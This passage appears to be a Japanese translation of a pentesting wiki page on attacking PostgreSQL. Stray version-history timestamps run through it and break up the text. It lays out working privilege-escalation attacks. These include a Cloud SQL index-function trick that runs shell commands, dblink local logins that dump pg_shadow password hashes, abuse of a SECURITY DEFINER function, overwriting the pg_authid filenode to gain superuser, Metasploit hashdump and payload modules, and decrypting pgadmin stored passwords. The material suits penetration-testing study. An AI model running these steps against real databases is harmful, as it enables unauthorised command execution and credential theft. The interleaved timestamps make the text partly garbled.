4. テーブルの所有者を「cloudsqladmin」に変更します。これは、Cloud SQLがデータベースを管理および維持するために独占的に使用するGCPのスーパーユーザーロールです。
5. テーブルに対してANALYZE操作を実行します。この操作により、PostgreSQLエンジンはテーブルの所有者である「cloudsqladmin」のユーザーコンテキストに切り替わります。その結果、悪意のあるインデックス機能が「cloudsqladmin」の権限で呼び出され、以前に未承認だったシェルコマンドの実行が可能になります。
2022-10-08 16:35:25 +00:00
PostgreSQLでは、このフローは次のようになります。
2022-10-08 16:35:25 +00:00
```sql
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
2023-07-07 23:42:27 +00:00
2022-10-08 16:35:25 +00:00
INSERT INTO temp_table VALUES ('dummy content');
2023-07-07 23:42:27 +00:00
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
2022-10-08 16:35:25 +00:00
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
2023-07-07 23:42:27 +00:00
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
2022-10-08 16:35:25 +00:00
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
2023-07-07 23:42:27 +00:00
2022-10-08 16:35:25 +00:00
ALTER TABLE temp_table OWNER TO cloudsqladmin;
2023-07-07 23:42:27 +00:00
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
2022-10-08 16:35:25 +00:00
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
2023-07-07 23:42:27 +00:00
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
2022-10-08 16:35:25 +00:00
ANALYZE public.temp_table;
```
その後、`shell_commands_results` テーブルには実行されたコードの出力が含まれます。
2022-10-08 16:35:25 +00:00
```
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
```
2023-07-07 23:42:27 +00:00
### ローカルログイン
2022-10-08 16:35:25 +00:00
一部の設定ミスのあるPostgreSQLインスタンスでは、**`dblink`関数**を使用して、127.0.0.1からの任意のローカルユーザーのログインが許可される場合があります。
2022-11-08 21:47:24 +00:00
```sql
2022-12-21 00:29:12 +00:00
\du * # Get Users
\l # Get databases
2022-11-08 21:47:24 +00:00
SELECT * FROM dblink('host=127.0.0.1
2023-07-07 23:42:27 +00:00
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
2022-12-21 00:29:12 +00:00
RETURNS (result TEXT);
2022-11-08 21:47:24 +00:00
```
2022-12-21 00:29:12 +00:00
{% hint style="warning" %}
前のクエリが機能するためには、**`dblink` 関数が存在する必要があります**。存在しない場合は、次のように作成してみることができます。
2022-12-21 00:29:12 +00:00
```sql
CREATE EXTENSION dblink;
```
{% endhint %}
より多くの権限を持つユーザーのパスワードを持っているが、そのユーザーが外部IPからのログインを許可されていない場合、次の関数を使用してそのユーザーとしてクエリを実行できます:
2022-11-08 21:47:24 +00:00
```sql
SELECT * FROM dblink('host=127.0.0.1
2023-07-07 23:42:27 +00:00
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
2023-07-07 23:42:27 +00:00
RETURNS (result TEXT);
2022-11-08 21:47:24 +00:00
```
この関数が存在するかどうかを確認することができます:
2022-11-08 21:47:24 +00:00
```sql
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
```
### **セキュリティデフィナーで定義されたカスタム関数**
2023-07-07 23:42:27 +00:00
[**この解説**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql)では、IBMが提供するPostgresインスタンス内で、**セキュリティデフィナーのフラグを持つこの関数**を見つけたため、ペンテスターは権限昇格に成功しました。
2023-07-07 23:42:27 +00:00
<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
<strong> VOLATILE SECURITY DEFINER
</strong> PARALLEL UNSAFE
COST 100
AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
2022-12-24 11:52:08 +00:00
</code></pre>
[**ドキュメントで説明されているように**](https://www.postgresql.org/docs/current/sql-createfunction.html)、**セキュリティデフィナーを持つ関数は**、それを**所有するユーザーの権限で実行**されます。したがって、関数が**SQLインジェクションに対して脆弱**であるか、**攻撃者によって制御されるパラメーターで特権アクションを実行**している場合、Postgres内で**権限昇格が悪用**される可能性があります。
2022-12-20 15:51:45 +00:00
前述のコードの4行目で、関数に**セキュリティデフィナー**フラグがあることがわかります。
2022-12-20 15:51:45 +00:00
```sql
2023-07-07 23:42:27 +00:00
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
2022-12-20 15:51:45 +00:00
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
```
そして**コマンドを実行**してください:
2022-12-20 15:51:45 +00:00
<figure><img src="../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
2022-12-20 15:51:45 +00:00
### PL/pgSQLを使用したパスワードブルートフォース
2022-12-20 18:10:20 +00:00
**PL/pgSQL**はSQLよりも大幅に手続き的な制御を提供する**完全な機能を備えたプログラミング言語**です。これにより、**ループ**や他の**制御構造**を使用してプログラムロジックを強化できます。さらに、**SQLステートメント**や**トリガー**は、**PL/pgSQL言語**を使用して作成された関数を呼び出す能力を持っています。この統合により、データベースプログラミングと自動化に対する包括的かつ多目的なアプローチが可能となります。\
**この言語を悪用して、PostgreSQLにユーザーの資格情報をブルートフォースさせることができます。**
2022-12-20 18:10:20 +00:00
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %}
[pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
{% endcontent-ref %}
### 内部のPostgreSQLテーブルを上書きして権限昇格
{% hint style="info" %}
以下の権限昇格ベクトルは、制約されたSQLiコンテキストで特に有用であり、すべての手順をネストされたSELECTステートメントを介して実行できます。
{% endhint %}
PostgreSQLサーバーファイルを**読み書き**できる場合、内部の`pg_authid`テーブルに関連付けられたPostgreSQLのディスク上のファイルードを上書きすることで、**スーパーユーザー**になることができます。
このテクニックについて詳しくは[こちら](https://adeadfed.com/posts/updating-postgresql-data-without-update/)を参照してください。
攻撃手順は以下の通りです:
1. PostgreSQLデータディレクトリを取得する
2. `pg_authid`テーブルに関連付けられたファイルノードへの相対パスを取得する
3. `lo_*`関数を介してファイルノードをダウンロードする
4. `pg_authid`テーブルに関連付けられたデータ型を取得する
5. [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor)を使用して、`pg_authid`テーブルの`rol*`ブールフラグをすべて1に設定して、完全な権限を付与する[ファイルノードを編集](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table)
6. `lo_*`関数を介して編集済みのファイルノードを再アップロードし、ディスク上の元のファイルを上書きする
7. *(オプション)* 高コストなSQLクエリを実行してインメモリテーブルキャッシュをクリアする
8. これで完全なスーパーアドミンの権限を持つはずです。
2022-05-01 13:25:53 +00:00
## **POST**
2021-11-12 01:11:08 +00:00
```
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
```
2023-07-07 23:42:27 +00:00
### ロギング
_**postgresql.conf**_ ファイルの中で、以下を変更して、postgresql ログを有効にできます:
```bash
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
```
その後、**サービスを再起動**してください。
2022-05-01 13:25:53 +00:00
### pgadmin
[pgadmin](https://www.pgadmin.org) は、PostgreSQLの管理および開発プラットフォームです。\
**pgadmin4.db** ファイルの中に **パスワード** が見つかります。\
スクリプト内の _**decrypt**_ 関数を使用してそれらを復号化できます:[https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
```bash
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db
```
2022-10-07 12:55:24 +00:00
### pg\_hba
PostgreSQLのクライアント認証は、**pg_hba.conf**という構成ファイルを介して管理されます。このファイルには、接続タイプ、クライアントのIPアドレス範囲該当する場合、データベース名、ユーザー名、および一致する接続に使用する認証方法を指定するレコードのシリーズが含まれています。接続タイプ、クライアントアドレス、要求されたデータベース、およびユーザー名に一致する最初のレコードが認証に使用されます。認証に失敗した場合、フォールバックやバックアップはありません。一致するレコードがない場合、アクセスは拒否されます。
2022-04-28 16:01:33 +00:00
pg_hba.confで利用可能なパスワードベースの認証方法は**md5**、**crypt**、および**password**です。これらの方法は、パスワードの送信方法で異なりますMD5ハッシュ化、crypt暗号化、またはクリアテキスト。重要な点として、cryptメソッドはpg_authidで暗号化されたパスワードとは使用できないことに注意してください。